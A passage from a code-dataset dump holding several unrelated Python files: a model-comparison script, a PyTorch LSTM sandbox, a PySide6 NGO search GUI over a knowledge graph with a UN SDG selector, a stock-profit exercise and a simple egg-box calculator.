gp_rbf = GaussianProcessRegressor(kernel=kernel)\n        gp_rbf.fit(train_X, train_y)\n\n\n        # Varidation\n        test_gp = gp_rbf.predict(test_X)\n        gp_corr = np.corrcoef(test_y, test_gp)[0, 1]\n        GP_corr_list.append(gp_corr)\n    return str(mean(GP_corr_list))\n\n\ndef calc_rf(df, kf, seed):\n    Forest_corr_list = []\n    df_rf = df.copy()\n    df_rf = standardization(df_rf)  # standardization\n    df_fi = pd.DataFrame()\n    for i, data in enumerate(kf.split(df_rf)):\n        train, test = data\n        train_df = df_rf.iloc[train]\n        test_df = df_rf.iloc[test]\n        train_X = train_df.drop('EXPT', axis=1)\n        train_y = train_df['EXPT']\n        test_X = test_df.drop('EXPT', axis=1)\n        test_y = test_df['EXPT']\n\n        # training\n        forest = RandomForestRegressor(random_state=seed)\n        params = {'n_estimators': [3, 10, 100, 1000, 10000]}\n        forest = GridSearchCV(forest, params, cv=4, scoring='r2', n_jobs=1,iid=False)\n        y_forest = forest.fit(train_X, train_y).predict(train_X)\n\n        # varidation\n        test_forest = forest.predict(test_X)\n        forest_corr = np.corrcoef(test_y, test_forest)[0, 1]\n        Forest_corr_list.append(forest_corr)\n\n        # feature importance\n        df_fi[str(seed) + str(i)] = forest.best_estimator_.feature_importances_\n\n    # feature importance\n    df_fi.index = df.columns[0:-1]\n    df_fi.to_csv('../Output/1/' + str(seed) + '.csv')\n\n    return str(mean(Forest_corr_list))\n\ndef calc_mono(df, kf):\n    mono_list = []\n    df_mono = df.copy()\n    for data in kf.split(df_mono):\n        train, test = data\n        test_df = df_mono.iloc[test]\n\n        mono_corr = test_df.corr(method='pearson')\n        mono_list.append(mono_corr['EXPT'])\n\n    df_corr = pd.concat(mono_list, axis=1).mean(axis='columns')\n    return df_corr\n\n\ndef calc_cons(df, kf):\n    cons_list = []\n    df_cons = df.copy()\n    for data in kf.split(df_cons):\n        train, test = data\n        test_df = df_cons.iloc[test]\n        test_X = test_df.drop('EXPT', axis=1)\n        test_y = test_df['EXPT']\n\n        test_cons = test_X.apply(calc_zscore, axis=0).mean(axis=1) \n        cons_corr = np.corrcoef(test_y, test_cons)[0, 1]\n        cons_list.append(cons_corr)\n    return str(mean(cons_list))\n\n\ndef calc_zscore(score_list):\n    MAD = score_list.mad()\n    med = score_list.median()\n    zscore = (score_list - med)/(1.4826*MAD)\n    return zscore\n\n\ndef main():\n    df = pd.read_csv(INPUT_PATH)\n    kf = KFold(n_splits=NUM_SPLIT, random_state=SEED, shuffle=True)\n    print('cons4\\t' + calc_cons(df[CONS4], kf))\n    print('cons3\\t' + calc_cons(df[CONS3], kf))\n    df_st = standardization(df)\n    print('RFR_4\\t' + calc_rf(df[FI4], kf, SEED))\n    print('RFR\\t' + calc_rf(df, kf, SEED))\n    print('GPR\\t' + calc_gpr(df_st, kf))\n    print('GPR_4\\t' + calc_gpr(df_st[FI4], kf))\n\n    print(calc_mono(df, kf))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ykurumida/ab-predictor","sub_path":"SiPMAB/code/corr_run.py","file_name":"corr_run.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"43450919783","text":"import torch\nimport numpy as np\n\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\n\n# Let's start from inputting data into a simple RNN first\n\nclass TutorialLSTM(torch.nn.Module):\n\n    def __init__(self, nb_layers, nb_lstm_units=100, nb_lstm_layers=1, embedding_dim=3, n_factors=3, batch_size=3):\n\n        super(TutorialLSTM, self).__init__()\n\n        self.vocab = {'<PAD>': 0, 'is': 1, 'it': 2, 'too': 3, 'late': 4, 'now': 5, 'say': 6, 'sorry': 7, 'ooh': 8, 'yeah':9}\n        self.tags = {'<PAD>': 0, 'VB': 1, 'PRP': 2, 'RB': 3, 'JJ': 4, 'NNP': 5}\n\n        self.nb_layers = nb_layers\n        self.nb_lstm_units = nb_lstm_units\n        self.nb_lstm_layers = nb_lstm_layers\n        self.embedding_dim = embedding_dim\n        self.n_factors = n_factors\n        self.batch_size = batch_size\n        self.nb_vocab_words = len(self.vocab)\n\n        self.nb_tags = len(self.tags) - 1\n\n        # self.lstm\n\n        self.__build_model()\n\n    def __build_model(self):\n\n        nb_vocab_words = len(self.vocab)\n\n        padding_idx = self.vocab['<PAD>']\n        self.word_embedding = torch.nn.Embedding(\n            num_embeddings=nb_vocab_words,\n            embedding_dim=self.embedding_dim,\n            padding_idx=padding_idx\n        )\n\n        self.lstm = torch.nn.LSTM(\n            input_size=self.embedding_dim,\n            hidden_size=self.nb_lstm_units,\n            num_layers=self.nb_lstm_layers,\n            batch_first=True,\n        )\n\n        self.hidden_to_tag = torch.nn.Linear(self.nb_lstm_units, self.nb_tags)\n\n        # the feedforward NN for the attention layer\n        # self.attetion_a = torch.nn.Linear()\n\n        # the feedforward NN for the contextual\n        # TODO: change to Xavier initialization later\n        self.Wc = torch.randn(self.n_factors, self.nb_lstm_units, self.nb_lstm_units)\n        self.Wm = torch.randn(self.nb_lstm_units, self.nb_vocab_words)\n        self.Wy = torch.randn(self.nb_lstm_units, 1)\n\n    def init_hidden(self):\n        hidden_a = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)\n        hidden_b = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)\n\n        hidden_a = Variable(hidden_a)\n        hidden_b = Variable(hidden_b)\n\n        return  (hidden_a, hidden_b)\n\n    def forward(self, X, X_lengths, Xc):\n        self.hidden = self.init_hidden()\n        # self.hidden = torch.randn(self.nb_lstm_layers, self.batch_size, self.nb_lstm_units)\n\n        batch_size, seq_len = X.size()\n\n        X = self.word_embedding(X)\n\n        X = torch.nn.utils.rnn.pack_padded_sequence(X, X_lengths, batch_first=True)\n\n        X, self.hidden = self.lstm(X, self.hidden)\n\n        hs, _ = self.hidden\n\n        # print (\"hs:\", hs) #sequence embeedding\n\n        # TODO: attention layer here\n\n        bc = torch.matmul(hs.transpose(0,1), self.Wc[torch.argmax(Xc, axis=0)])\n        bc = torch.squeeze(bc)\n\n        # print (\"hs + bc:\", (hs+bc).shape)\n        # print (\"(hs + bc) * Wm)\", torch.matmul(hs + bc, self.Wm).shape)\n\n        output_m = torch.matmul(hs + bc, self.Wm)\n        output_y = torch.matmul(hs + bc, self.Wy)\n        #\n        #\n        # X, _ = torch.nn.utils.rnn.pad_packed_sequence(X, batch_first=True)\n        #\n        # X = X.contiguous()\n        # X = X.view(-1, X.shape[2])\n        #\n        # X = self.hidden_to_tag(X)\n        #\n        # X = F.log_softmax(X, dim=1)\n        #\n        # X = X.view(batch_size, seq_len, self.nb_tags)\n        #\n        # y_hat = X\n        #\n        # return y_hat\n        return output_m, output_y\n\n    def _sequence_mask(self, sequence_length, max_len=None):\n        if max_len is None:\n            max_len = sequence_length.data.max()\n\n        batch_size = sequence_length.size(0)\n        seq_range = torch.range(0, max_len - 1).long()\n        seq_range_expand = seq_range.unsqueeze(0).expand(batch_size, max_len)\n        seq_range_expand = Variable(seq_range_expand)\n\n        seq_length_expand = (sequence_length.unsqueeze(1).expand_as(seq_range_expand))\n\n        return seq_range_expand < seq_length_expand\n\n    def compute_loss(self, Y_hat, Y, X_lenghts):\n        \"\"\"\n        Reference: https://gist.github.com/jihunchoi/f1434a77df9db1bb337417854b398df1\n        \"\"\"\n\n        logits_flat = Y_hat.view(-1, Y_hat.size(-1))\n        log_probs_flat = F.log_softmax(logits_flat)\n\n        target_flat = Y.view(-1, 1)\n        target_flat -= 1\n        target_flat[target_flat < 0] = 0\n\n        losses_flat = -torch.gather(log_probs_flat, dim=1, index=target_flat)\n\n        losses = losses_flat.view(*Y.size())\n\n        mask = self._sequence_mask(sequence_length=X_lengths, max_len=Y.size(1))\n        losses = losses * mask.float()\n        loss = losses.sum() / X_lengths.float().sum()\n\n        return loss\n\nsent_1_x = ['is', 'it', 'too', 'late', 'now', 'say', 'sorry']\nsent_1_y = ['VB', 'PRP', 'RB', 'RB', 'RB', 'VB', 'JJ']\n\nsent_2_x = ['ooh', 'ooh']\nsent_2_y = ['NNP', 'NNP']\n\nsent_3_x = ['sorry', 'yeah']\nsent_3_y = ['JJ', 'NNP']\n\nX = [sent_1_x, sent_2_x, sent_3_x]\nY = [sent_1_y, sent_2_y, sent_3_y]\n\nvocab = {'<PAD>': 0, 'is': 1, 'it': 2, 'too': 3, 'late': 4, 'now': 5, 'say': 6, 'sorry': 7, 'ooh': 8, 'yeah':9}\ntags = {'<PAD>': 0, 'VB': 1, 'PRP': 2, 'RB': 3, 'JJ': 4, 'NNP': 5}\n\nX = [[vocab[word] for word in sentence] for sentence in X]\nY = [[tags[tag] for tag in sentence] for sentence in Y]\n\n# pad X\nX_lengths = [len(sentence) for sentence in X]\n\n\npad_token = vocab['<PAD>']\nlongest_sent = max(X_lengths)\nbatch_size  = len(X)\npadded_X = np.ones((batch_size, longest_sent)) * pad_token\n\nfor i, x_len in enumerate(X_lengths):\n    sequence = X[i]\n    padded_X[i, 0:x_len] = sequence[:x_len]\n\n# pad Y\nY_lengths = [len(sentence) for sentence in Y]\n\npad_token = tags['<PAD>']\nlongest_sent = max(Y_lengths)\nbatch_size = len(Y)\npadded_Y = np.ones((batch_size, longest_sent)) * pad_token\n\nfor i, y_len in enumerate(Y_lengths):\n    sequence = Y[i]\n    padded_Y[i, 0:y_len] = sequence[:y_len]\n\npadded_X = np.asarray(padded_X)\nX_lengths = np.asarray(X_lengths)\n\npadded_Y = np.asarray(padded_Y)\nY_lengths = np.asarray(Y_lengths)\n\nXc  = np.zeros((3, 3))\nXc[0,0] = 1\nXc[1,1] = 1\nXc[2,2] = 1\n\n# https://github.com/huggingface/transformers/issues/2952\npadded_X = torch.from_numpy(padded_X).type(torch.LongTensor)\nX_lengths = torch.from_numpy(X_lengths)\n\npadded_Y = torch.from_numpy(padded_Y).type(torch.LongTensor)\nY_lengths = torch.from_numpy(Y_lengths)\n\nXc = torch.from_numpy(Xc).type(torch.float)\n\nmodel = TutorialLSTM(1)\noutput_m, output_y = model(padded_X, X_lengths, Xc)\n# loss = model.compute_loss(y_pred, padded_Y, X_lengths)\n","repo_name":"yusanlin/word-worth-embedding","sub_path":"codes/sandbox_wwm.py","file_name":"sandbox_wwm.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"38170869462","text":"import sys\nfrom PySide6.QtWidgets import *\nfrom PySide6.QtCore import *\nfrom PySide6.QtGui import *\nfrom franz.openrdf.connect import ag_connect\nfrom ngoDisplayFunctional import NGOScreen\nfrom functools import partial\n\n\nclass Window(QWidget):\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.setWindowTitle('NGO Search')\n        self.vert = QVBoxLayout()  # general outer layout\n        self.inputs = QFormLayout()  # format for entering in the rest of data\n        self.row1 = QHBoxLayout()  # format for location row row\n        self.row2 = QHBoxLayout()  # format for sdgs row\n        self.rowbottom = QHBoxLayout()  # layout for the bottom row buttons (search, reset, done)\n        self.orgTypes = []\n        self.results = QGridLayout()  # layout to show results\n        self.t = None  # instance to call sdg tree class\n        self.sdgs = []  # list to track all sdgs selected, this is needed for reselection(hold an instance to delete)\n        self.resultList = []  # list of ngo IRIs from query\n        self.allResults = []  # list of every ngo's characteristics, needed for re searching(hold an instance to delete)\n        self.resultsbuttons = []  # list of buttons to link results to ngo pages\n        self.ngoScreen = None\n        self.resize(900, 800)\n\n        self.n = 10\n        self.nums = QLabel('Results: (Showing ' + str(self.n) + ' of 300,000)')\n        \n        self.statedrop = QComboBox()\n        self.statedrop.addItems([\"Andhra Pradesh\",\"Arunachal Pradesh\",\"Assam\",\"Bihar\",\"Chhattisgarh\",\"Goa\",\"Gujarat\",\"Haryana\",\n                                 \"Himachal Pradesh\",\"Jharkhand\",\"Karnataka\",\"Kerala\",\"Maharashtra\",\"Madhya Pradesh\",\"Manipur\",\n                                 \"Meghalaya\",\"Mizoram\",\"Nagaland\",\"Odisha\",\"Punjab\",\"Rajasthan\",\"Sikkim\",\"Tamil Nadu\",\"Tripura\",\n                                 \"Telangana\",\"Uttar Pradesh\",\"Uttarakhand\",\"West Bengal\",\"Andaman & Nicobar\",\"Chandigarh\",\n                                 \"Dadra & Nagar Haveli and Daman & Diu\",\"Delhi\",\"Jammu & Kashmir\",\"Ladakh\",\"Lakshadweep\",\"Puducherry (UT)\"])\n        self.citydrop = QComboBox()\n        self.locationEdit = QPushButton(\"Edit Location\")\n        self.location = QLabel(\"India\")\n\n        self.row1.addWidget(self.statedrop)\n        # self.row1.addWidget(self.locationEdit)\n\n        self.scroll = QScrollArea()  # Scroll Area which contains the widgets, set as the centralWidget\n        self.widget = QWidget()  # Widget that contains the collection of Vertical Box\n        self.vbox = QVBoxLayout()\n        self.sdgItem = QLabel(\"All\")\n        self.sdgs.append(self.sdgItem)\n        self.vbox.addWidget(self.sdgItem)\n        self.widget.setLayout(self.vbox)\n        self.scroll.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n        self.scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n        self.scroll.setWidgetResizable(True)\n        self.scroll.setWidget(self.widget)\n        self.row2.addWidget(self.scroll)\n        self.sdgEdit = QPushButton(\"Edit SDGs\")\n        self.sdgEdit.clicked.connect(self.sdgtree)\n        self.row2.addWidget(self.sdgEdit)\n\n        self.check1 = QCheckBox('Cooperative Society')\n        self.check2 = QCheckBox('Academic Institutions (Private)')\n        self.check3 = QCheckBox('Other Registered Entities (Non-Government)')\n        self.check4 = QCheckBox('Private Sector Companies (Sec 8/25)')\n        self.check5 = QCheckBox('Trust (Non-Government)')\n        self.check6 = QCheckBox('Registered Societies (Non-Government)')\n        self.check1.setChecked(True)\n        self.check2.setChecked(True)\n        self.check3.setChecked(True)\n        self.check4.setChecked(True)\n        self.check5.setChecked(True)\n        self.check6.setChecked(True)\n        self.horz = QHBoxLayout()\n        self.horz.addWidget(self.check1)\n        self.horz.addWidget(self.check2)\n        self.horz.addWidget(self.check3)\n        self.horz.addWidget(self.check4)\n        self.horz.addWidget(self.check5)\n        self.horz.addWidget(self.check6)\n\n        self.minf = QLineEdit()\n        self.minf.setPlaceholderText(\"₹0\")  # no input this returns empty string not 0\n        self.maxf = QLineEdit()\n        self.maxf.setPlaceholderText(\"no limit\")\n\n        self.textS = QLineEdit()\n\n        self.maxnumsearch = QLineEdit()\n        self.maxnumsearch.setPlaceholderText(\"10\")\n\n        self.inputs.addRow(QLabel('Locations:'), self.row1)\n        self.inputs.addRow(QLabel('SDGs:'), self.row2)\n        self.inputs.addRow(QLabel('Organization Type:'), self.horz)\n        self.inputs.addRow(QLabel('Minimum Annual Budget:'), self.minf)\n        self.inputs.addRow(QLabel('Maximum Annual Budget:'), self.maxf)\n        self.inputs.addRow(QLabel('Text Search:'), self.textS)\n        self.inputs.addRow(QLabel('Maximum Number of NGOs:'), self.maxnumsearch)\n\n        searchB = QPushButton(\"Search\")\n        searchB.clicked.connect(self.doQuery)\n        resetB = QPushButton(\"Reset Search\")\n        resetB.clicked.connect(self.reset)\n        doneB = QPushButton(\"Done\")\n        doneB.clicked.connect(self.exit)\n\n        self.rowbottom.addWidget(searchB)\n        self.rowbottom.addWidget(resetB)\n        self.rowbottom.addWidget(doneB)\n\n        # results grid\n        self.setResults()\n\n        self.scroll2 = QScrollArea()  # Scroll Area which contains the widgets, set as the centralWidget\n        self.widget2 = QWidget()  # Widget that contains the collection of Vertical Box\n        self.widget2.setLayout(self.results)\n        self.scroll2.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n        self.scroll2.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n        self.scroll2.setWidgetResizable(True)\n        self.scroll2.setWidget(self.widget2)\n\n        self.vert.addLayout(self.inputs)\n        \n        self.vert.addWidget(self.nums)\n        self.vert.addWidget(self.scroll2)\n        self.vert.addLayout(self.rowbottom)\n\n        self.setLayout(self.vert)\n        self.show()\n\n    def sdgtree(self): # function to display tree\n        self.t = Tree()\n        self.t.show()\n\n    def setSDG(self, a): # display sdgs selected in sdgtree\n        for i in self.sdgs:\n            i.deleteLater()\n        self.sdgs.clear()\n\n        for i in range(len(a)):\n            self.sdgs.append(QLabel(a[i]))\n            self.vbox.addWidget(self.sdgs[i])\n\n        self.t.close()\n\n    def doQuery(self): #produces a set of results\n        self.orgTypes = []\n        if self.check1.isChecked():\n            self.orgTypes.append(self.check1.text())\n        if self.check2.isChecked():\n            self.orgTypes.append(self.check2.text())\n        if self.check3.isChecked():\n            self.orgTypes.append(self.check3.text())\n        if self.check4.isChecked():\n            self.orgTypes.append(self.check4.text())\n        if self.check5.isChecked():\n            self.orgTypes.append(self.check5.text())\n        if self.check6.isChecked():\n            self.orgTypes.append(self.check6.text())\n        self.conn = ag_connect('minitest', host='localhost', port='10035',\n                               user='test', password='xyzzy')\n        self.conn.setNamespace('ngo', 'http://www.semanticweb.org/mdebe/ontologies/NGO#')\n\n        iris = [self.conn.createURI('http://www.w3.org/2000/01/rdf-schema#label'),\n                self.conn.createURI('http://www.semanticweb.org/mdebe/ontologies/NGO#objectives'),\n                self.conn.createURI('http://www.semanticweb.org/mdebe/ontologies/NGO#hasSDGGoal'),\n                self.conn.createURI('http://www.semanticweb.org/mdebe/ontologies/NGO#providesServicesInLocation'),\n                self.conn.createURI('http://www.semanticweb.org/mdebe/ontologies/NGO#totalIncome'),\n                self.conn.createURI('http://www.semanticweb.org/mdebe/ontologies/NGO#orgType')]\n        query = self.conn.prepareTupleQuery(query=\"\"\"\n            SELECT * WHERE {?ngoRecipient a ngo:NGORecipient} LIMIT 20 \"\"\")\n        self.resultList = [] #all ngo recipients\n        with query.evaluate() as result:\n            for statement in result:\n                self.resultList.append(statement[0])\n        \n        for param in self.allResults:\n            param.deleteLater()\n            self.results.removeWidget(param)\n        self.allResults = [] # tracks every parameter entered into results to be deleted on new search\n        if self.maxnumsearch.text() == '':\n            maxs = 10\n        else:\n            maxs = int(self.maxnumsearch.text())\n        \n        for ngorecip in range(0, min(maxs, len(self.resultList))): #adds all parameters of specified number of ngos into display\n            for iri in range(len(iris)):\n                for labelstments in self.conn.getStatements(self.resultList[ngorecip], iris[iri], None):\n                    l = str(labelstments[2])\n                    label = QLabel(l[1:len(l)-1])\n                    label.setWordWrap(True)\n                    self.allResults.append(label)\n                    self.results.addWidget(label, ngorecip + 1, iri)\n        self.resultsbuttons = []\n        \n        for i in range(0, min(maxs, len(self.resultList))): #adds all buttons into results display\n            self.resultsbuttons.append(QPushButton('See NGO'))\n            self.results.addWidget(self.resultsbuttons[i], i + 1, 6)\n            self.resultsbuttons[i].clicked.connect(partial(self.getNGOScreen, self.resultList[i]))\n        \n        self.nums.setText('Results: (Showing ' + str(maxs) + ' of 300,000)')\n        \n        \n    def getNGOScreen(self, ngo): # function to call last specific ngo screen\n        self.ngoScreen = NGOScreen(ngo)\n        \n\n    def setResults(self):  # set the labels for formatting the results, should only be called once\n\n        name1 = QLabel('NGO Name')\n        font = name1.font()\n        font.setBold(True)\n        name1.setFont(font)\n        self.results.addWidget(name1, 0, 0)\n        name2 = QLabel('NGO Objective')\n        name2.setFont(font)\n        self.results.addWidget(name2, 0, 1)\n        name3 = QLabel('SDG Focus')\n        name3.setFont(font)\n        self.results.addWidget(name3, 0, 2)\n        name4 = QLabel('Provides Services in Locations')\n        name4.setFont(font)\n        self.results.addWidget(name4, 0, 3)\n        name5 = QLabel('Annual Budget')\n        name5.setFont(font)\n        self.results.addWidget(name5, 0, 4)\n        name6 = QLabel('Organization Type')\n        name6.setFont(font)\n        self.results.addWidget(name6, 0, 5)\n\n        self.doQuery()\n\n    def reset(self): # resets all inputs\n        self.dropdown.setCurrentText('None')\n        self.minf.clear()\n        self.maxf.clear()\n        self.textS.clear()\n        self.maxnumsearch.clear()\n        for i in self.sdgs:\n            i.deleteLater()\n        self.sdgs.clear()\n        self.sdgs.append(QLabel('All'))\n        self.vbox.addWidget(self.sdgs[0])\n        self.doQuery() # when all parameters are reset, a base set of results will be displayed\n        self.nums = QLabel('Results: (Showing ' + str(self.n) + ' of 300,000)')\n    def exit(self):\n        self.close()\n\n\nclass Tree(QWidget):\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n\n        self.setWindowTitle('Select SDG(s)')\n        data = {\"1. End poverty in all its forms everywhere\": [\n            \"1.1 By 2030, eradicate extreme poverty for all people everywhere, currently measured as people living on less than $1.25 a day\"],\n                \"2. End hunger, achieve food security and improved nutrition and promote sustainable agriculture\": [\n                    \"1.2 By 2030, reduce at least by half the proportion of men, women and children of all ages living in poverty in all its dimensions according to national definitions\"],\n                \"3. Ensure healthy lives and promote well-being for all at all ages\": [\n                    \"3.1 By 2030, reduce the global maternal mortality ratio to less than 70 per 100,000 live births\"],\n                \"4. Ensure inclusive and equitable quality education and promote lifelong learning opportunities for all\": [\n                    \"4.1 By 2030, ensure that all girls and boys complete free, equitable and quality primary and secondary education leading to relevant and effective learning outcomes\"],\n                \"5. Achieve gender equality and empower all women and girls\":\n                    [\"5.1 End all forms of discrimination against all women and girls everywhere\",\n                     \"5.2 Eliminate all forms of violence against all women and girls in the public and private spheres, including trafficking and sexual and other types of exploitation\",\n                     \"5.3 Eliminate all harmful practices, such as child, early and forced marriage and female genital mutilation\",\n                     \"5.4 Recognize and value unpaid care and domestic work through the provision of public services, infrastructure and social protection policies and the promotion of shared responsibility within the household and the family as nationally appropriate\",\n                     \"5.5 Ensure women's full and effective participation and equal opportunities for leadership at all levels of decision-making in political, economic and public life\",\n                     \"5.6 Ensure universal access to sexual and reproductive health and reproductive rights as agreed in accordance with the Programme of Action of the International Conference on Population and Development and the Beijing Platform for Action and the outcome documents of their review conferences\",\n                     \"5.a Undertake reforms to give women equal rights to economic resources, as well as access to ownership and control over land and other forms of property, financial services, inheritance and natural resources, in accordance with national laws\",\n                     \"5.b Enhance the use of enabling technology, in particular information and communications technology, to promote the empowerment of women\",\n                     \"5.c Adopt and strengthen sound policies and enforceable legislation for the promotion of gender equality and the empowerment of all women and girls at all levels\"],\n                \"6. Ensure availability and sustainable management of water and sanitation for all\": [\n                    \"6.1 By 2030, achieve universal and equitable access to safe and affordable drinking water for all\"],\n                \"7. Ensure access to affordable, reliable, sustainable and modern energy for all\": [\n                    \"7.1 By 2030, ensure universal access to affordable, reliable and modern energy services\"],\n                \"8. Promote sustained, inclusive and sustainable economic growth, full and productive employment and decent work for all\": [\n                    \"8.1 Sustain per capita economic growth in accordance with national circumstances and, in particular, at least 7 percent gross domestic product growth per annum in the least developed countries\"],\n                \"9. Build resilient infrastructure, promote inclusive and sustainable industrialization and foster innovation\": [\n                    \"9.1 Develop quality, reliable, sustainable and resilient infrastructure, including regional and transborder infrastructure, to support economic development and human well-being, with a focus on affordable and equitable access for all\"],\n                \"10. Reduce inequality within and among countries\": [\n                    \"10.1 By 2030, progressively achieve and sustain income growth of the bottom 40 percent of the population at a rate higher than the national average\"],\n                \"11. Make cities and human settlements inclusive, safe, resilient and sustainable\": [\n                    \"11.1 By 2030, ensure access for all to adequate, safe and affordable housing and basic services and upgrade slums\"],\n                \"12. Ensure sustainable consumption and production patterns\": [\n                    \"12.1 Implement the 10-Year Framework of Programmes on Sustainable Consumption and Production Patterns, all countries taking action, with developed countries taking the lead, taking into account the development and capabilities of developing countries\"],\n                \"13. Take urgent action to combat climate change and its impacts\": [\n                    \"13.1 Strengthen resilience and adaptive capacity to climate-related hazards and natural disasters in all countries\"],\n                \"14. Conserve and sustainably use the oceans, seas and marine resources for sustainable development\": [\n                    \"14.1 By 2025, prevent and significantly reduce marine pollution of all kinds, in particular from land-based activities, including marine debris and nutrient pollution\"],\n                \"15. Protect, restore and promote sustainable use of terrestrial ecosystems, sustainably manage forests, combat desertification, and halt and reverse land degradation and halt biodiversity loss\": [\n                    \"15.1 By 2020, ensure the conservation, restoration and sustainable use of terrestrial and inland freshwater ecosystems and their services, in particular forests, wetlands, mountains and drylands, in line with obligations under international agreements\"],\n                \"16. Promote peaceful and inclusive societies for sustainable development, provide access to justice for all and build effective, accountable and inclusive institutions at all levels\": [\n                    \"16.1 Significantly reduce all forms of violence and related death rates everywhere\"],\n                \"17. Strengthen the means of implementation and revitalize the Global Partnership for Sustainable Development\": [\n                    \"17.1 Strengthen domestic resource mobilization, including through international support to developing countries, to improve domestic capacity for tax and other revenue collection\"]\n                }\n\n        indicators = [[\n                          \"5.1.1 Whether or not legal frameworks are in place to promote, enforce and monitor equality and non-discrimination on the basis of sex\"],\n                      [\n                          \"5.2.1 Proportion of ever-partnered women and girls aged 15 years and older subjected to physical, sexual or psychological violence by a current or former intimate partner in the previous 12 months, by form of violence and by age\",\n                          \"5.2.2 Proportion of women and girls aged 15 years and older subjected to sexual violence by persons other than an intimate partner in the previous 12 months, by age and place of occurrence\"],\n                      [\n                          \"5.3.1 Proportion of women aged 20-24 years who were married or in a union before age 15 and before age 18\",\n                          \"5.3.2 Proportion of girls and women aged 15-49 years who have undergone female genital mutilation/cutting, by age\"],\n                      [\"5.4.1 Proportion of time spent on unpaid domestic and care work, by sex, age and location\"],\n                      [\"5.5.1 Proportion of seats held by women in (a) national parliaments and (b) local governments\",\n                       \"5.5.2 Proportion of women in managerial positions\"],\n                      [\n                          \"5.6.1 Proportion of women aged 15-49 years who make their own informed decisions regarding sexual relations, contraceptive use and reproductive health care\",\n                          \"5.6.2 Number of countries with laws and regulations that guarantee full and equal access to women and men aged 15 years and older to sexual and reproductive health care, information and education\"],\n                      [\n                          \"5.a.1 (a) Proportion of total agricultural population with ownership or secure rights over agricultural land, by sex; and (b) share of women among owners or rights-bearers of agricultural land, by type of tenure\",\n                          \"5.a.2 Proportion of countries where the legal framework (including customary law) guarantees women's equal rights to land ownership and/or control\"],\n                      [\"5.b.1 Proportion of individuals who own a mobile telephone, by sex\"],\n                      [\n                          \"5.c.1 Proportion of countries with systems to track and make public allocations for gender equality and women's empowerment\"]]\n        self.tree = QTreeWidget()\n        self.tree.setColumnCount(1)\n        self.tree.setHeaderLabels([\"United Nations Sustainable Development Goals, Targets, Indicators\"])\n        self.selects = []\n        items = []\n        count = 1\n        for key, values in data.items():\n            item = QTreeWidgetItem([key])\n            for tori in range(len(values)):\n                child1 = QTreeWidgetItem([values[tori]])\n                item.addChild(child1)\n                if count == 5:\n                    for i in indicators[tori]:\n                        child2 = QTreeWidgetItem([i])\n                        child1.addChild(child2)\n            items.append(item)\n            count += 1\n        self.tree.insertTopLevelItems(0, items)\n        self.tree.setSelectionMode(QAbstractItemView.MultiSelection)\n        self.button = QPushButton('Done')\n        self.button.setFixedSize(QSize(30, 20))\n        self.button.setFont(QFont('Arial', 7))\n        self.button.clicked.connect(self.clicks)\n        l = QVBoxLayout()\n        l.addWidget(self.tree)\n        l.addWidget(self.button, alignment=Qt.AlignRight)\n        self.resize(700, 400)\n\n        self.setLayout(l)\n        self.show()\n\n    def clicks(self):\n        result = self.tree.selectedItems()\n        for item in result:\n            self.selects.append(item.text(0))\n        w.setSDG(self.selects)\n\n\napp = QApplication(sys.argv)\n# Create and show the form\nw = Window()\n# Run the main Qt \nsys.exit(app.exec())\n","repo_name":"mdebellis/Daan_Knowledge_Graph","sub_path":"Python Archive/Powersearches/powersearch_locationedit.py","file_name":"powersearch_locationedit.py","file_ext":"py","file_size_in_byte":21717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70561769062","text":"\n\n\n# prices = [9,13,16,11,8,9,20]\n#\n#\n# buy  = prices[0];\n# should_sell = 0;\n# should_buy = 0;\n# max_profit = 0;\n#\n#\n# for price in prices:\n#\n#     profit = price - buy;\n#\n#     if profit > max_profit:\n#         max_profit = profit;\n#         should_sell = price;\n#         should_buy  = buy;\n#     if  price < buy:\n#         buy = price;\n#\n# print(should_buy)\n# print(should_sell)\n\n\n\n\n# solutions\n\nprices = [9,13,16,11,8,9,20];\n\nmax_sell = 0;\nmin_buy  = 0;\nmax_profit = 0;\nfor price in reversed(prices):\n\n    max_sell = max(max_sell,price);\n    potential_profit = max_sell - price;\n    max_profit =  max(max_profit,potential_profit);\n\nprint(max_profit);\n","repo_name":"aonzuza/codingInterview","sub_path":"problem47.py","file_name":"problem47.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40424427687","text":"#!/usr/bin/env python3\n\nif __name__ == '__main__':\n\n    eggs = int(input('How many eggs do we have? '))\n\n    boxes = eggs // 6\n    left_over = eggs % 6\n\n    print(f'We need {boxes} boxes. There will be {left_over} extra eggs.')\n","repo_name":"TonyJenkins/lbu-python-code-ds","sub_path":"01/eggs.py","file_name":"eggs.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
